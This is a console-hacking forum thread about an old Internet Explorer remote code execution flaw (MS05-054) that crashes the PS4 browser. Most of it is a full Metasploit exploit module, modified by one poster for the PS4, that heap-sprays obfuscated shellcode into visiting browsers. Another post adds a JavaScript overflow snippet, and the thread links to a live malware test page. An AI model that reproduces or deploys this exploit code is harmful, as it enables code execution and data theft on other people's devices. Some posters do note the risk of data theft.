Advertising (This ad goes away for registered users. You can Login or Register)

Ps4 2.00 crashing on old IE exploit

Underground PS4 discussions
Forum rules
Forum rule Nº 15 is strictly enforced in this subforum.
jeerum
Posts: 52
Joined: Tue Oct 05, 2010 2:16 pm
Contact:

Ps4 2.00 crashing on old IE exploit

Post by jeerum » Fri Oct 31, 2014 2:56 pm

Test it here http://malware.wicar.org/data/ms05_054_onload.html
Src: http://sebug.net/paper/Exploits-Archive ... oad.rb.txt
Maybe someone wanna mess with metasploit.
Good luck
Advertising
Ps2- PsP - Ps3 - PsVita - Ps4 - Ps4 pro

User avatar
fidelcastro
Posts: 215
Joined: Sat Oct 02, 2010 1:34 pm

Re: Ps4 2.00 crashing on old IE exploit

Post by fidelcastro » Sun Nov 02, 2014 12:28 am

a long time ago, hello jeerum, interesting.
Advertising

lnd
Posts: 1
Joined: Sun Nov 02, 2014 12:30 am

Re: Ps4 2.00 crashing on old IE exploit

Post by lnd » Sun Nov 02, 2014 12:33 am

working on 1.76 too. When restarting "error CE-36329-3".

jeerum
Posts: 52
Joined: Tue Oct 05, 2010 2:16 pm
Contact:

Re: Ps4 2.00 crashing on old IE exploit

Post by jeerum » Sun Nov 02, 2014 12:47 pm

Have replicated this, at last :)
there is code - little modified to work on ps4 - removed check's

Code: Select all

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS05-054 Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution',
      'Description'    => %q{
        This bug is triggered when the browser handles a JavaScript 'onLoad' handler in
        conjunction with an improperly initialized 'window()' JavaScript function.
        This exploit results in a call to an address lower than the heap. The javascript
        prompt() places our shellcode near where the call operand points to.  We call
        prompt() multiple times in separate iframes to place our return address.
        We hide the prompts in a popup window behind the main window. We spray the heap
        a second time with our shellcode and point the return address to the heap. I use
        a fairly high address to make this exploit more reliable. IE will crash when the
        exploit completes.  Also, please note that Internet Explorer must allow popups
        in order to continue exploitation.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Benjamin Tobias Franz', # Discovery
          'Stuart Pearson',        # Proof of Concept
          'Sam Sharps'             # Metasploit port
        ],
      'References'     =>
        [
          ['MSB', 'MS05-054'],
          ['CVE', '2005-1790'],
          ['OSVDB', '17094'],
          ['BID', '13799'],
          ['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'migrate -f',
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00",
          'Compat'   =>
            {
              'ConnectionType' => '-find',
            },
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Internet Explorer 6 on Windows XP', { 'iframes' => 4 } ],
          [ 'Internet Explorer 6 Windows 2000',  { 'iframes' => 8 } ],
        ],
      'DisclosureDate' => 'Nov 21 2005',
      'DefaultTarget'  => 0))
  end

  def exploit
    @var_redir = rand_text_alpha(rand(100)+1)
    super
  end

  def auto_target(cli, request)
    mytarget = nil

    agent = request.headers['User-Agent']
    print_status("Checking user agent: #{agent}")

          mytarget = targets[0]   # IE6 on XP
    
    

    mytarget
  end


  def on_request_uri(cli, request)
    mytarget   = auto_target(cli, request)
    var_title  = rand_text_alpha(rand(100) + 1)
    func_main  = rand_text_alpha(rand(100) + 1)

    heapspray = ::Rex::Exploitation::JSObfu.new %Q|
function heapspray()
{
  shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
  var bigblock = unescape("#{Rex::Text.to_unescape(make_nops(4))}");
  var headersize = 20;
  var slackspace = headersize + shellcode.length;
  while (bigblock.length < slackspace) bigblock += bigblock;
  var fillblock = bigblock.substring(0,slackspace);
  var block = bigblock.substring(0,bigblock.length - slackspace);
  while (block.length + slackspace < 0x40000) block = block + block + fillblock;
  var memory = new Array();
  for (i = 0; i < 250; i++){ memory[i] = block + shellcode }

  var ret = "";
  var fillmem = "";

  for (i = 0; i < 500; i++)
    ret += unescape("%u0F0F%u0F0F");
  for (i = 0; i < 200; i++)
    fillmem += ret;

  prompt(fillmem, "");
}
|
    heapspray.obfuscate

    nofunc = ::Rex::Exploitation::JSObfu.new %Q|

if (document.location.href.indexOf("#{@var_redir}") == -1)
{
  var counter = 0;


  top.consoleRef = open('','BlankWindow',
  'width=100,height=100'
  +',menubar=0'
  +',toolbar=1'
  +',status=0'
  +',scrollbars=0'
  +',left=1'
  +',top=1'
  +',resizable=1')
  self.focus()


  for (counter = 0; counter < #{mytarget['iframes']}; counter++)
  {
    top.consoleRef.document.writeln('<iframe width=1 height=1 src='+document.location.href+'?p=#{@var_redir}</iframe>');
  }
  document.writeln("<body onload=\\"setTimeout('#{func_main}()',6000)\\">");

}
else
{
  #{heapspray.sym('heapspray')}();
}
|

    nofunc.obfuscate

    main = %Q|
function #{func_main}()
{
  document.write("<TITLE>#{var_title}</TITLE>");
  document.write("<body onload=window();>");

  window.location.reload();
}
|

    html = %Q|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<meta http-equiv="Content-Language" content="en-gb">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<script>
#{nofunc}
#{heapspray}
#{main}
</script>
</head>
<body>
</body>
</html>
|

    print_status("Sending #{self.name}")
    # Transmit the compressed response to the client
    send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })

    # Handle the payload
    handler(cli)
  end
end]
Last edited by jeerum on Tue Nov 18, 2014 8:23 pm, edited 3 times in total.
Ps2- PsP - Ps3 - PsVita - Ps4 - Ps4 pro

su9arz
Posts: 1
Joined: Fri Oct 24, 2014 4:27 pm

Re: Ps4 2.00 crashing on old IE exploit

Post by su9arz » Mon Nov 03, 2014 3:20 pm

interesting!

jeerum
Posts: 52
Joined: Tue Oct 05, 2010 2:16 pm
Contact:

Re: Ps4 2.00 crashing on old IE exploit

Post by jeerum » Tue Nov 04, 2014 5:27 pm

but there is security risk. If that, or anyother exploit working over some server, there is risk - that someone will stole your DATA from your Device.
Ps2- PsP - Ps3 - PsVita - Ps4 - Ps4 pro

jeerum
Posts: 52
Joined: Tue Oct 05, 2010 2:16 pm
Contact:

Re: Ps4 2.00 crashing on old IE exploit

Post by jeerum » Wed Nov 05, 2014 2:15 pm

Still works with latest FW :D
Ps2- PsP - Ps3 - PsVita - Ps4 - Ps4 pro

GonnaGetPSVita
Posts: 214
Joined: Fri Feb 24, 2012 2:08 am

Re: Ps4 2.00 crashing on old IE exploit

Post by GonnaGetPSVita » Wed Nov 05, 2014 4:10 pm

jeerum wrote:but there is security risk. If that, or anyother exploit working over some server, there is risk - that someone will stole your DATA from your Device.
So you don't want anyone to find out your bookmarked p0rn sites? :p
It should be fine, every app is sandboxed, unless they had another exploit to break out of sandbox, and one more to kernel.
- PSVita 3G / 32GB
- PSVita Wifi / 64GB
- Wacom Cintiq 13HD
- AKG K701

User avatar
haxxey
Big Beholder
Posts: 567
Joined: Sat Jul 21, 2012 10:52 am
Location: Lurking /talk

Re: Ps4 2.00 crashing on old IE exploit

Post by haxxey » Wed Nov 05, 2014 4:16 pm

GonnaGetPSVita wrote:
jeerum wrote:but there is security risk. If that, or anyother exploit working over some server, there is risk - that someone will stole your DATA from your Device.
So you don't want anyone to find out your bookmarked p0rn sites? :p
It should be fine, every app is sandboxed, unless they had another exploit to break out of sandbox, and one more to kernel.
A risk's a risk.
We are such stuff as dreams are made on, and our little life is rounded with a sleep.

thejailpad
Posts: 1
Joined: Mon Oct 20, 2014 12:27 am

Re: Ps4 2.00 crashing on old IE exploit

Post by thejailpad » Sun Jan 25, 2015 1:16 am

Code: Select all

  
var car = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
  var surcharge = '';
  for(var i = 0; i < 1000; i++)
  {
    surcharge = surcharge + car;
  }

  prompt(surcharge, '');

  document.write("<body onload=window();>");
  window.location.reload();
I think mostly it's a overflow which planted the system, it have to see for an buffer overflow.
Sorry for my bad english ^^

Post Reply

Return to “Programming and Security”